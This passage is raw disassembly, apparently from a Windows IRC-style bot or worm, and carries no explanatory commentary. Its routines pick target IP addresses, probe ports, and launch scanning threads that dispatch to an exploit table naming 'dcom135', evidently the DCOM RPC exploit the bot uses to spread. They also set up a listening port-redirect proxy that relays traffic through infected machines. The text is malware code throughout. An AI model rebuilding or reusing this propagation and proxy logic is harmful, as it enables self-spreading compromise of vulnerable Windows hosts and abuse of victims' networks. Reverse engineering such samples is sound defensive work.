test eax, eax
pop ecx
jle short loc_407182
mov eax, [ebp+arg_C]
push dword_43C658[eax*8]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_42911C
push eax
call sub_4173AC
add esp, 0Ch
jmp short loc_407195
; ---------------------------------------------------------------------------
loc_407182: ; CODE XREF: sub_407146+13j
lea eax, [ebp+var_200]
push offset unk_4290EC
push eax
call sub_4173AC
pop ecx
pop ecx
loc_407195: ; CODE XREF: sub_407146+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_200]
push eax
call sub_40C4F7
add esp, 18h
leave
retn
sub_407146 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071BD proc near ; CODE XREF: sub_4078E6+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40754D
imul eax, 3Ch
xor ebx, ebx
cmp dword_428C04[eax], ebx
jz loc_40742E
push 4
call sub_4170A0
test eax, eax
pop ecx
jnz loc_40754D
mov eax, dword_42ECE4
push edi
mov edi, offset dword_43F554
push 104h
push edi
push ebx
mov dword_43F764, eax
mov dword_43F760, ebx
nop
call near ptr 7C80B4CFh
push 103h
mov esi, offset dword_43F658
push offset byte_42EDC4
push esi
call sub_4182F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43F550, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43F7E8, eax
jnz short loc_407270
lea eax, [ebp+arg_10]
push eax
push offset dword_43F768
call sub_4182F0
add esp, 0Ch
mov dword_43F7EC, 1
jmp short loc_40728A
; ---------------------------------------------------------------------------
loc_407270: ; CODE XREF: sub_4071BD+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_43F768
call sub_4182F0
add esp, 0Ch
mov dword_43F7EC, ebx
loc_40728A: ; CODE XREF: sub_4071BD+B1j
push esi
push edi
push dword_43F764
lea eax, [ebp+var_204]
push offset unk_4292AC
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_416E58
add esp, 20h
mov dword_43F75C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43F550
push offset sub_406B85
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, dword_43F75C
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_4072F9
loc_4072E7: ; CODE XREF: sub_4071BD+13Aj
cmp dword_43F7F0, ebx
jnz short loc_407314
push 32h
nop
call near ptr 7C802442h
jmp short loc_4072E7
; ---------------------------------------------------------------------------
loc_4072F9: ; CODE XREF: sub_4071BD+128j
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_204]
push offset unk_42926C
push eax
call sub_4173AC
add esp, 0Ch
loc_407314: ; CODE XREF: sub_4071BD+130j
lea eax, [ebp+var_204]
push eax
call sub_40C4F7
mov edi, offset dword_43FBAC
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43FDB8, ebx
nop
call near ptr 7C80B4CFh
push 103h
mov esi, offset dword_43FCB0
push offset byte_42EDC4
push esi
call sub_4182F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43FBA8, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43FE40, eax
jnz short loc_40738F
lea eax, [ebp+arg_10]
push eax
push offset dword_43FDC0
call sub_4182F0
add esp, 0Ch
mov dword_43FE44, 1
jmp short loc_4073A9
; ---------------------------------------------------------------------------
loc_40738F: ; CODE XREF: sub_4071BD+1B3j
lea eax, [ebp+arg_90]
push eax
push offset dword_43FDC0
call sub_4182F0
add esp, 0Ch
mov dword_43FE44, ebx
loc_4073A9: ; CODE XREF: sub_4071BD+1D0j
push esi
push edi
push dword_43FDBC
lea eax, [ebp+var_204]
push offset dword_42921C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_416E58
add esp, 20h
mov dword_43FDB4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43FBA8
push offset sub_405350
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, dword_43FDB4
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_40741D
loc_407407: ; CODE XREF: sub_4071BD+25Ej
cmp dword_43FE48, ebx
jnz loc_407540
push 32h
nop
call near ptr 7C802442h
jmp short loc_407407
; ---------------------------------------------------------------------------
loc_40741D: ; CODE XREF: sub_4071BD+248j
nop
call near ptr 7C910331h
push eax
push offset dword_4291DC
jmp loc_407531
; ---------------------------------------------------------------------------
loc_40742E: ; CODE XREF: sub_4071BD+25j
cmp dword_428C08[eax], ebx
jz loc_40754D
push 3
call sub_4170A0
test eax, eax
pop ecx
jnz loc_40754D
mov esi, offset dword_43FA84
push 104h
push esi
push ebx
nop
call near ptr 7C80B4CFh
push 5Ch
push esi
call sub_4185F0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40746C
mov [eax], bl
loc_40746C: ; CODE XREF: sub_4071BD+2ABj
mov eax, dword_42ECE8
mov dword_43FB9C, ebx
mov dword_43FB88, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_43F7FC
call sub_4173AC
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_43F7F8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_43FB88
mov dword_43FB94, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_43FB98, ecx
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_429190
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_416E58
add esp, 20h
mov dword_43FB90, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43F7F8
push offset sub_405A6A
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, dword_43FB90
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_407525
loc_407513: ; CODE XREF: sub_4071BD+366j
cmp dword_43FBA4, ebx
jnz short loc_407540
push 32h
nop
call near ptr 7C802442h
jmp short loc_407513
; ---------------------------------------------------------------------------
loc_407525: ; CODE XREF: sub_4071BD+354j
nop
call near ptr 7C910331h
push eax
push offset unk_42914C
loc_407531: ; CODE XREF: sub_4071BD+26Cj
lea eax, [ebp+var_204]
push eax
call sub_4173AC
add esp, 0Ch
loc_407540: ; CODE XREF: sub_4071BD+250j
; sub_4071BD+35Cj
lea eax, [ebp+var_204]
push eax
call sub_40C4F7
pop ecx
loc_40754D: ; CODE XREF: sub_4071BD+14j
; sub_4071BD+35j ...
pop esi
pop ebx
leave
retn
sub_4071BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407551 proc near ; CODE XREF: sub_4076D2:loc_407743p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:43C658h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_417490
add esp, 0Ch
push [ebp+arg_0]
call dword_4412EC ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4413B4 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_417490
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_407551 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407599 proc near ; CODE XREF: sub_4076D2+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_417AF0
cmp eax, 0Fh
pop ecx
jbe short loc_4075C1
xor eax, eax
jmp short loc_407632
; ---------------------------------------------------------------------------
loc_4075C1: ; CODE XREF: sub_407599+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_417FCC
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_4075EE
call sub_417408
mov [ebp+var_C], eax
loc_4075EE: ; CODE XREF: sub_407599+4Bj
cmp [ebp+var_8], esi
jnz short loc_4075FB
call sub_417408
mov [ebp+var_8], eax
loc_4075FB: ; CODE XREF: sub_407599+58j
cmp [ebp+var_4], esi
jnz short loc_407608
call sub_417408
mov [ebp+var_4], eax
loc_407608: ; CODE XREF: sub_407599+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_407614
call sub_417408
loc_407614: ; CODE XREF: sub_407599+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_43C658[ecx*8], eax
loc_407632: ; CODE XREF: sub_407599+26j
pop esi
leave
retn
sub_407599 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407635 proc near ; CODE XREF: sub_4076D2+B8p
; sub_40DA5C+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_441438 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40765E
xor eax, eax
jmp short loc_4076CD
; ---------------------------------------------------------------------------
loc_40765E: ; CODE XREF: sub_407635+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4413B8 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_441454 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_441360 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4413A0 ; select
push esi
mov edi, eax
call dword_441450 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_4076CD: ; CODE XREF: sub_407635+27j
pop edi
pop esi
pop ebx
leave
retn
sub_407635 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076D2 proc near ; DATA XREF: sub_4078E6+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 7C80929Ch
push eax
call sub_4173FE
mov ebx, esi
pop ecx
imul ebx, 234h
loc_407719: ; CODE XREF: sub_4076D2+200j
mov eax, dword_446E14[ebx]
cmp dword_43C65C[eax*8], 0
jz loc_4078D7
cmp [ebp+var_10], 0
push eax
jz short loc_407743
lea eax, [ebp+var_150]
push eax
call sub_407599
pop ecx
jmp short loc_407748
; ---------------------------------------------------------------------------
loc_407743: ; CODE XREF: sub_4076D2+60j
call sub_407551
loc_407748: ; CODE XREF: sub_4076D2+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_446E14[ebx]
push [ebp+var_3C]
push edi
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_429340
push eax
call sub_4173AC
lea eax, [ebp+var_28C]
push eax
lea eax, dword_446C10[ebx]
push eax
call sub_4173AC
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_407635
add esp, 2Ch
cmp eax, 1
jnz loc_4078C7
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40781C
push offset dword_43F538
nop
call near ptr 7C901005h
push [ebp+var_3C]
push edi
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_429308
push eax
call sub_4173AC
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4077FE
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_4077F2
lea eax, [ebp+var_140]
loc_4077F2: ; CODE XREF: sub_4076D2+118j
push eax
push [ebp+var_40]
call sub_40DC10
add esp, 14h
loc_4077FE: ; CODE XREF: sub_4076D2+FDj
lea eax, [ebp+var_28C]
push eax
call sub_40C4F7
mov [esp+2A8h+var_2A8], offset dword_43F538
nop
call near ptr 7C9010EDh
jmp loc_4078C7
; ---------------------------------------------------------------------------
loc_40781C: ; CODE XREF: sub_4076D2+CDj
push edi
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_4173AC
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_4173AC
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_407860
lea eax, [ebp+var_140]
loc_407860: ; CODE XREF: sub_4076D2+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_4173AC
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_428BFC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_4078C7: ; CODE XREF: sub_4076D2+C3j
; sub_4076D2+145j
push 7D0h
nop
call near ptr 7C802442h
jmp loc_407719
; ---------------------------------------------------------------------------
loc_4078D7: ; CODE XREF: sub_4076D2+55j
push esi
call sub_417174
pop ecx
push 0
nop
call near ptr 7C80C058h
sub_4076D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078E6 proc near ; DATA XREF: sub_40F6F1+3417o
; sub_40F6F1+53A7o
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4413F8 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_43C658[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_4071BD
push 8
call sub_4170A0
add esp, 150h
cmp eax, ebx
jnz short loc_4079B4
mov esi, offset dword_43F538
push esi
nop
call near ptr 7C91188Ah
push 80000400h
push esi
nop
call near ptr 7C80B829h
test eax, eax
jnz short loc_4079B4
lea eax, [ebp+var_1CC]
push offset unk_429474
push eax
call sub_4173AC
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40799E
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40DC10
add esp, 14h
loc_40799E: ; CODE XREF: sub_4078E6+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40C4F7
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4079B4: ; CODE XREF: sub_4078E6+63j
; sub_4078E6+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_421070
mov edi, ebx
mov dword_43C65C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407A81
loc_4079D2: ; CODE XREF: sub_4078E6+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_42942C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_416E58
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_446E14[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_4076D2
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_407A4C
loc_407A41: ; CODE XREF: sub_4078E6+164j
cmp [ebp+var_4], ebx
jnz short loc_407A73
push 1Eh
call esi ; Sleep
jmp short loc_407A41
; ---------------------------------------------------------------------------
loc_407A4C: ; CODE XREF: sub_4078E6+159j
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_1CC]
push offset unk_4293E0
push eax
call sub_4173AC
lea eax, [ebp+var_1CC]
push eax
call sub_40C4F7
add esp, 10h
loc_407A73: ; CODE XREF: sub_4078E6+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_4079D2
loc_407A81: ; CODE XREF: sub_4078E6+E6j
cmp [ebp+var_30], ebx
jz loc_407B2B
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_407A96: ; CODE XREF: sub_4078E6+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_43C658[eax*8]
push eax
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_42938C
push eax
call sub_4173AC
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407AE4
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40DC10
add esp, 14h
loc_407AE4: ; CODE XREF: sub_4078E6+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_40C4F7
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_43C65C[eax*8], ebx
call esi ; Sleep
push 8
call sub_4170A0
cmp eax, 1
pop ecx
jnz short loc_407B1B
push offset dword_43F538
nop
call near ptr 7C91188Ah
loc_407B1B: ; CODE XREF: sub_4078E6+228j
push [ebp+var_2C]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_407B2B: ; CODE XREF: sub_4078E6+19Ej
; sub_4078E6+25Dj
mov eax, [ebp+var_2C]
cmp dword_43C65C[eax*8], 1
jnz loc_407A96
push 7D0h
call esi ; Sleep
jmp short loc_407B2B
sub_4078E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407B45 proc near ; DATA XREF: sub_40F6F1+37EBo
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_417430
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_4413B8 ; ntohs
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_441438 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407CA9
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_446E1C[eax], ebx
call dword_4412D4 ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4413E4 ; bind
test eax, eax
jnz loc_407CA9
push 0Ah
push ebx
call dword_4413E0 ; listen
test eax, eax
jnz loc_407CA9
loc_407BEF: ; CODE XREF: sub_407B45+BEj
; sub_407B45+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_44144C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407BEF
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset unk_429508
push eax
call sub_4173AC
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_416E58
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_446E14[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset loc_407CCD
push esi
push esi
nop
call near ptr 7C810637h
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_446E24[ecx], eax
jz short loc_407C94
loc_407C81: ; CODE XREF: sub_407B45+14Dj
cmp [ebp+var_2C], esi
jnz loc_407BEF
push 32h
nop
call near ptr 7C802442h
jmp short loc_407C81
; ---------------------------------------------------------------------------
loc_407C94: ; CODE XREF: sub_407B45+13Aj
nop
call near ptr 7C910331h
push eax
push offset unk_4294BC
call sub_40C56B
pop ecx
pop ecx
jmp short loc_407CAC
; ---------------------------------------------------------------------------
loc_407CA9: ; CODE XREF: sub_407B45+61j
; sub_407B45+93j ...
mov edi, [ebp+arg_0]
loc_407CAC: ; CODE XREF: sub_407B45+162j
push edi
call dword_441450 ; closesocket
push ebx
call dword_441450 ; closesocket
push [ebp+var_3C]
call sub_417174
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
pop ebx
sub_407B45 endp ; sp-analysis failed
loc_407CCD: ; DATA XREF: sub_407B45+11Co
push ebp
mov ebp, esp
mov eax, 1344h
call sub_417B70
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_441438 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_407E83
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_417430
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4413B8 ; ntohs
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4413F8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_407D5D
lea eax, [ebp-13Ch]
push eax
call dword_44143C ; gethostbyname
jmp short loc_407D6B
; ---------------------------------------------------------------------------
loc_407D5D: ; CODE XREF: ___:00407D4Cj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_441370 ; gethostbyaddr
loc_407D6B: ; CODE XREF: ___:00407D5Bj
cmp eax, edi
jz loc_407E83
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jz loc_407E83
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp-344h]
push offset unk_4295B0
push eax
call sub_4173AC
push esi
lea eax, [ebp-344h]
push 10h
push eax
call sub_416E58
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_446E1C[ebx]
mov dword_446E14[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_446E20[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_407EB4
push edi
push edi
nop
call near ptr 7C810637h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_446E24[ecx], eax
jz short loc_407E70
loc_407E1D: ; CODE XREF: ___:00407E2Aj
cmp [ebp-20h], edi
jnz short loc_407E2C
push 32h
nop
call near ptr 7C802442h
jmp short loc_407E1D
; ---------------------------------------------------------------------------
loc_407E2C: ; CODE XREF: ___:00407E20j
mov ebx, 1000h
loc_407E31: ; CODE XREF: ___:00407E6Cj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4413D0 ; recv
cmp eax, edi
jle short loc_407E83
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407E31
jmp short loc_407E83
; ---------------------------------------------------------------------------
loc_407E70: ; CODE XREF: ___:00407E1Bj
nop
call near ptr 7C910331h
push eax
push offset unk_429560
call sub_40C56B
pop ecx
pop ecx
loc_407E83: ; CODE XREF: ___:00407D11j
; ___:00407D6Dj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_446E1C[eax]
call dword_441450 ; closesocket
push dword ptr [ebp+8]
call dword_441450 ; closesocket
push dword ptr [ebp-4]
call sub_417174
pop ecx
push edi
nop
call near ptr 7C80C058h
pop edi
pop esi
pop ebx
loc_407EB4: ; DATA XREF: ___:00407DFDo
push ebp
mov ebp, esp
mov eax, 1128h
call sub_417B70
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407EEB: ; CODE XREF: ___:00407F30j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_446E20[esi]
call dword_4413D0 ; recv
test eax, eax
jle short loc_407F32
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_446E1C[esi]
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_407EEB
loc_407F32: ; CODE XREF: ___:00407F15j
push dword_446E20[esi]
call dword_441450 ; closesocket
push dword ptr [ebp-14h]
call sub_417174
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
dw 9E8h
; ---------------------------------------------------------------------------
inc ecx
inc eax
jl short loc_407FAF
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407F51 proc near ; DATA XREF: sub_40F6F1+5F90o
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_18 = word ptr -18h
